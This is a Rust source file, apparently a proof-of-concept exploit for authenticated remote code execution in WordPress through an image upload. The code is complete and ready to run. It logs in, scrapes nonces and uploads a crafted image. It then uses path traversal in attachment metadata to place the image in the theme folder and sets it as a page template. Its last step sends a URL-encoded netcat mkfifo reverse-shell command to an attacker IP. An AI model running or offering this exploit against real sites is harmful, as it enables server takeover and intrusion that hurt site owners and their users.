use anyhow::{anyhow, Result};
use regex::Regex;
use reqwest::blocking::multipart;
use reqwest::blocking::Client;
use std::time::Duration;
use std::{env, process::exit};

fn main() -> Result<()> {
    let mut args: Vec<String> = env::args().collect();

    if args.len() != 5 {
        println!(
            "Usage:
    wordpress_image_rce <http://[IP]:[PORT]/> <Username> <Password> <WordPress_theme>"
        );
        exit(1);
    }

    let http_timeout = Duration::from_secs(10);
    let http_client = Client::builder()
        .timeout(http_timeout)
        .cookie_store(true)
        .build()?;

    let base_url = args.remove(1).trim_end_matches("/").to_string();
    let username = args.remove(1);
    let password = args.remove(1);
    let wp_theme = args.remove(1);
    let image_name = "gd.jpg".to_string();

    let lhost = "10.10.10.10"; // attacker ip
    let lport = "4141"; // listening port

    let date = chrono::Utc::now().format("%Y/%m/");

    let redirect_to = format!("{}/wp-admin/", &base_url);
    let body1 = [
        ("log", username.as_str()),
        ("pwd", password.as_str()),
        ("wp-submit", "Log In"),
        ("redirect_to", redirect_to.as_str()),
        ("testcookie", "1"),
    ];
    let url1 = format!("{}/wp-login.php", &base_url);
    let res1 = http_client.post(url1).form(&body1).send()?;

    if res1.status().as_u16() == 200 {
        println!("[+] Login successful.");
    } else {
        return Err(anyhow!("[-] Failed to login."));
    }

    println!("[+] Getting Wp Nonce... ");

    let url2 = format!("{}/wp-admin/media-new.php", &base_url);
    let regexp_res2 =
        Regex::new(r#"name="_wpnonce" value="(\w+)""#).expect("compiling regexp_res2");
    let res2 = http_client.get(url2).send()?;
    let body_res2 = res2.text()?;
    let mut wp_nonce_list: Vec<String> = regexp_res2
        .captures_iter(&body_res2)
        .filter_map(|captures| captures.get(0))
        .map(|wp_nonce| wp_nonce.as_str().to_string())
        .collect();

    if wp_nonce_list.len() == 0 {
        println!("[-] Failed to retrieve the _wpnonce");
        exit(1);
    }

    let wp_nonce = wp_nonce_list.remove(0);

    println!(
        "[+] Wp Nonce retrieved successfully! _wpnonce: {}",
        &wp_nonce
    );

    println!("[+] Uploading the image... ");

    let form = multipart::Form::new()
        .text("name", "gd.jpg")
        .text("name", "gd.jpg")
        .text("action", "upload-attachment")
        .text("_wpnonce", wp_nonce.clone())
        .file("async-upload", "gd.jpg")?;

    let res3 = http_client
        .post(format!("{}/wp-admin/async-upload.php", &base_url))
        .multipart(form)
        .send()?;
    if !res3.status().is_success() {
        println!("[-] Failed to receive a response for uploaded image! Try again.");
        exit(0)
    }

    let res3_body = res3.text()?;

    let regexp_res3 = Regex::new(r#"{"id":(\d+),"#).expect("compiling regexp_res3");
    let image_id = regexp_res3
        .captures_iter(&res3_body)
        .filter_map(|captures| captures.get(0))
        .map(|mat| mat.as_str().to_string())
        .next()
        .expect("res3: Missing id");
    let wp_nonce = regexp_res2
        .captures_iter(&res3_body)
        .filter_map(|captures| captures.get(0))
        .map(|mat| mat.as_str().to_string())
        .next()
        .expect("res3: Missing wp_nonce");

    println!("[+] Image uploaded successfully! Image ID:{}", &image_id);

    println!("[+] Changing the path... ");

    let body4 = [
        ("_wpnonce", wp_nonce.clone()),
        ("action", "editpost".to_string()),
        ("post_ID", image_id.clone()),
        (
            "meta_input[_wp_attached_file]",
            format!(
                "{}{}?/../../../../themes/{}/rahali",
                &date, &image_name, &wp_theme
            ),
        ),
    ];
    let url4 = format!("{}/wp-admin/post.php", &base_url);
    let res4 = http_client.post(url4).form(&body4).send()?;
    if res4.status().as_u16() == 200 {
        println!("[+] Path has been changed successfully.");
    } else {
        println!("[-] Failed to change the path! Make sure the theme is correct.");
        exit(0);
    }

    println!("[+] Getting Ajax nonce...");

    let body5 = [
        ("action", "query-attachments"),
        ("post_id", "0"),
        ("query[item]", "43"),
        ("query[orderby]", "date"),
        ("query[order]", "DESC"),
        ("query[posts_per_page]", "40"),
        ("query[paged]", "1"),
    ];
    let regexp_res5 = Regex::new(r#","edit":"(\w+)""#).expect("compiling regexp_res5");
    let res5 = http_client
        .post(format!("{}/wp-admin/admin-ajax.php", &base_url))
        .form(&body5)
        .send()?;
    let res5_status = res5.status().as_u16();
    let body_res5 = res5.text()?;

    let mut ajax_nonce_list: Vec<String> = regexp_res5
        .captures_iter(&body_res5)
        .filter_map(|cap| cap.get(0))
        .map(|ajax_nonce| ajax_nonce.as_str().to_string())
        .collect();

    if res5_status != 200 || ajax_nonce_list.len() == 0 {
        println!("[-] Failed to retrieve ajax_nonce.");
        exit(0)
    }

    let ajax_nonce = ajax_nonce_list.remove(0);

    println!(
        "[+] Ajax Nonce retrieved successfully! ajax_nonce: {}",
        &ajax_nonce
    );

    println!("[+] Cropping the uploaded image...");

    let body6 = [
        ("action", "crop-image"),
        ("_ajax_nonce", &ajax_nonce),
        ("id", &image_id),
        ("cropDetails[x1]", "0"),
        ("cropDetails[y1]", "0"),
        ("cropDetails[width]", "200"),
        ("cropDetails[height]", "100"),
        ("cropDetails[dst_width]", "200"),
        ("cropDetails[dst_height],", "100"),
    ];
    let res6 = http_client
        .post(format!("{}/wp-admin/admin-ajax.php", &base_url))
        .form(&body6)
        .send()?;

    if res6.status().as_u16() == 200 {
        println!("[+] Done .");
    } else {
        println!("[-] Error! Try again.");
        exit(0);
    }

    println!("[+] Creating a new post to include the image... ");

    let res7 = http_client
        .post(format!("{}/wp-admin/post-new.php", &base_url))
        .send()?;
    if res7.status().as_u16() != 200 {
        println!("[-] Error! Try again.");
        exit(1);
    }

    let res7_body = res7.text()?;
    let wp_nonce = regexp_res2
        .captures_iter(&res7_body)
        .filter_map(|captures| captures.get(0))
        .map(|wp_nonce| wp_nonce.as_str().to_string())
        .next()
        .expect("res7: Missing wp_nonce");

    let regexp_res7 = Regex::new(r#""post":{"id":(\w+),"#).expect("compiling regexp_res7");
    let post_id = regexp_res7
        .captures_iter(&res7_body)
        .filter_map(|captures| captures.get(0))
        .map(|wp_nonce| wp_nonce.as_str().to_string())
        .next()
        .expect("res7: Missing post_id");

    println!("[+] Post created successfully");

    let body8 = [
        ("_wpnonce", wp_nonce.as_str()),
        ("action", "editpost"),
        ("post_ID", post_id.as_str()),
        ("post_title", "RCE poc by skerkour"),
        ("post_name", "RCE poc by skerkour"),
        ("meta_input[_wp_page_template]", "cropped-rahali.jpg"),
    ];
    let res8 = http_client
        .post(format!("{}/wp-admin/post.php", &base_url))
        .form(&body8)
        .send()?;
    if res8.status().is_success() {
        println!("[+] POC is ready at: {}?p={}&0=id", &base_url, &post_id);
        println!("[+] Executing payload!");
        http_client.get(format!("{}?p={}&0=rm%20%2Ftmp%2Ff%3Bmkfifo%20%2Ftmp%2Ff%3Bcat%20%2Ftmp%2Ff%7C%2Fbin%2Fsh%20-i%202%3E%261%7Cnc%20{}%20{}%20%3E%2Ftmp%2Ff", &base_url, &post_id, &lhost, &lport)).send()?;
    } else {
        println!("[-] Error! Try again (maybe change the payload)");
        exit(1)
    }

    Ok(())
}
